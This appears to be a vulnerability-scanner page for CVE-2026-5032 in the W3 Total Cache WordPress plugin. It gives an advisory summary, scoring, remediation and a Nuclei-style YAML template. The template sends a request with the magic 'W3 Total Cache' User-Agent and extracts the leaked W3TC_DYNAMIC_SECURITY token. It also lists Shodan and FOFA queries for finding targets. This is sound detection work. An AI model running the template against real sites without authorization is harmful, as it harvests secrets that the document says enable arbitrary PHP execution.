W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure
CVE-2026-5032
Early Release
Description
The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string "W3 Total Cache", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, the raw mfunc/mclude HTML comments - which embed the per-site W3TC_DYNAMIC_SECURITY token - are therefore rendered directly into the page source instead of being processed and stripped, letting an unauthenticated attacker harvest the token by comparing a normal response against one sent with the magic User-Agent.
Severity
High
CVSS Score
7.5
Exploit Probability
3%
Affected Product
w3-total-cache
Published Date
August 3, 2026
Template Author
prithvee07
CVE-2026-5032.yaml
id: CVE-2026-5032
info:
name: W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure
author: prithvee07
severity: high
description: |
The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string "W3 Total Cache", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, the raw mfunc/mclude HTML comments - which embed the per-site W3TC_DYNAMIC_SECURITY token - are therefore rendered directly into the page source instead of being processed and stripped, letting an unauthenticated attacker harvest the token by comparing a normal response against one sent with the magic User-Agent.
impact: |
Unauthenticated attackers can leak the site's W3TC_DYNAMIC_SECURITY token, which can then be used to craft valid mfunc/mclude dynamic fragment tags and execute arbitrary PHP code on sites that have fragment caching enabled with existing dynamic fragment tags.
remediation: |
Update the W3 Total Cache plugin to version 2.9.4 or later.
reference:
- https://github.com/advisories/GHSA-fxg7-rh9m-q77p
- https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.3/Generic_Plugin.php#L1016
- https://plugins.trac.wordpress.org/changeset/3495959/w3-total-cache
- https://www.wordfence.com/threat-intel/vulnerabilities/id/a65eb62d-847b-4f3a-848b-1290e3118c01?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2026-5032
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-5032
epss-score: 0.03057
epss-percentile: 0.86564
cwe-id: CWE-200
metadata:
verified: true
max-request: 2
vendor: boldgrid
product: w3-total-cache
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/w3-total-cache"
fofa-query: body="wp-content/plugins/w3-total-cache"
tags: cve,cve2026,wordpress,wp-plugin,wp,w3-total-cache,exposure,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- '!regex("<!--\\s*(mfunc|mclude)\\s+\\S+", body)'
condition: and
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: W3 Total Cache
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
part: body
regex:
- '<!--\s*(?:mfunc|mclude)\s+\S+'
extractors:
- type: regex
name: w3tc-dynamic-security
part: body
group: 1
regex:
- '<!--\s*(?:mfunc|mclude)\s+(\S+)'
# digest: 4a0a0047304502207cbe49d88b248e5a2605ecc69bb434f593a4d08f180224008f24abef3f0a0f3c022100cf6777f3ecfe8e3a9bac138a69a80b3c34cb92ae21bff2acba42b186d870ca38:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-5032
CWE ID:
cwe-200
References
https://github.com/advisories/GHSA-fxg7-rh9m-q77phttps://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.3/Generic_Plugin.php#L1016https://plugins.trac.wordpress.org/changeset/3495959/w3-total-cachehttps://www.wordfence.com/threat-intel/vulnerabilities/id/a65eb62d-847b-4f3a-848b-1290e3118c01?source=cvehttps://nvd.nist.gov/vuln/detail/CVE-2026-5032
Remediation Steps
Update the W3 Total Cache plugin to version 2.9.4 or later.